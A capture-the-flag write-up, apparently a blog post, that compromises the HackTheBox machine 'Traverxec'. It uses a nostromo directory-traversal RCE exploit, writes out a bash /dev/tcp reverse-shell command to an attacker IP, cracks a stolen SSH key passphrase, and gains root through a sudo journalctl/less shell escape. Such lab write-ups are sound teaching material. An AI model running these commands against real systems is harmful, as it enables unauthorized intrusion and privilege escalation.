HackTheBox — Traverxec

What’s going on hackers, this is shellbreak, and we’re gonna be doing Traverxec from hackthebox which I think it’s a relatively easy box except for the root part which I believe it was so tricky.

The Idea of the box is a web server which is vulnerable to directory traversal vulnerability that leads to RCE, so after getting the initial shell on the box you’re gonna have to take a look at the configuration file on the webserver and you’ll find that we don’t have reading permissions on the user’s home directory but we can access one of the directories stored in there, then comes the root part which was extremely tricky for me since it’s the first time I deal with such a vulnerability.

So enough talking and let’s just jump in.

Nmap:

As always we’ll start with nmap to scan open ports and services:

nmap -sC -sV -A 10.10.10.165

Looking at the results, we can see 2 ports open:
- port 22 which runs ssh and looking to the version it’s telling us that the system is Debian.
- port 80 which runs http web server and the version is nostromo 1.9.6.

Web Enumeration:

http://10.10.10.165

So after googling about the webserver that’s running on the box, I found that this version has directory traversal vulnerability which leads to RCE.

And here’s the link of the CVE:

https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html

so let’s get that exploit (from the link above) and see if it’s going to work
I created a new file called exploit.sh and pasted the code in it.

First, we have to make this script executable :

chmod +x exploit.sh

now let’s try it:

./expolit.sh 10.10.10.165 80 id

and we got RCE, so the exploit is working just fine, and now we have to get a shell on the box,

./exploit.sh 10.10.10.165 80 ‘bash -c “bash -i >& /dev/tcp/10.10.14.75/1234 0>&1”’

and run netcat to get the reverse shell:

and indeed we got the shell!!

now let’s enumerate the box internally.

as you can see we’re in the /usr/bin directory, so let’s navigate to the web server’s root directory which is, /var/nostromo.

cd ../../var/nostromo
ls -la

we can see a directory called conf:

cd conf

And there are 3 files:

- .htpasswd
- mimes
- nhttpd.conf

looking at .htpasswd:

we see a potential user name and a hash, I tried a lot to crack the hash but couldn’t get anything out of it. So let’s take a look at nhttpd.conf file:

we can see a lot of information related to the server like the hostname and root dir etc, but the most important thing, it’s telling us that there are 2 home dirs /home and public_www.

so let’s navigate there to see if we can see something interesting.

You can see from the screenshot that we can get into david’s home directory but we can’t list the content which is very weird, but looking back to the nhttpd.conf file, it’s telling us there’s another home dir public_www, so let’s try to access that directory.

cd public_www

And indeed we’re in!!

Get Shellbr3ak’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Now let’s take a look at protected-file-area directory.

There’s a backup file in this directory which seems very helpful, but since it’s
compressed, we’re gonna use zcat tool to read its content.

zcat backup-ssh-identity-files.tgz

Looks like this file has a private ssh key, so go ahead and save the private key in a file on your local machine.

Now we need to give the right permissions to this key:

chmod 600 traver-key

and let’s ssh in:

But this ssh key has a special passphrase so we’re gonna use ssh2john tool to extract it.

you can use the locate command if you don’t know where to find this tool:

python /usr/share/john/ssh2john.py traver-key

but let’s re-run this command and redirect the output to a file so we can crack it with john the ripper.

python /usr/share/john/ssh2john.py traver-key > passphrase

then,

john passphrase

And, we got the passphrase of the ssh key (hunter), now let’s try to ssh again

now let’s head to the root part.
Looking inside david’s home directory we can see a directory called bin
and inside that directory, there’s a bash script.

First of all, let’s read this script to see if we can get something out of it.

Looks like a normal script, just reading a file named server-stats.head and echo’ing a bunch of things, and because the script is using absolute paths, it’s impossible for us to do path injection, but the last line of the script is interesting, it’s using sudo command which can help us getting root privileges.

So let’s break down the last line of the script to understand what’s going on,

• /usr/bin/sudo : used to use root permissions to execute a command.
• /usr/bin/journalctl : which’s a special binary to view and manipulate logs on linux systems.
• | /usr/bin/cat : is a pipeline to pipe the output of the journalctl command to read it with cat tool.

So let’s run the script to see what exactly it is going to do,

As expected, it’s just reading log files, but the real magic comes now,

as you saw in the last line of the script, the output of journalctl command was redirected to cat tool.

So what if we tried to run the last line on our own, without piping the output to anywhere.

You can see that the output was printed as if we piped it to less command, and from less man page we see that system commands can be executed when reading a file with less using :

!cmd

So, let’s try to run this command:

!bash

to see if we can get a shell out of this script:

AND, we got root shell on Traverxec!!

So this was Traverxec box, I hope you guys enjoyed it, and I’ll see you all in the
next writeup.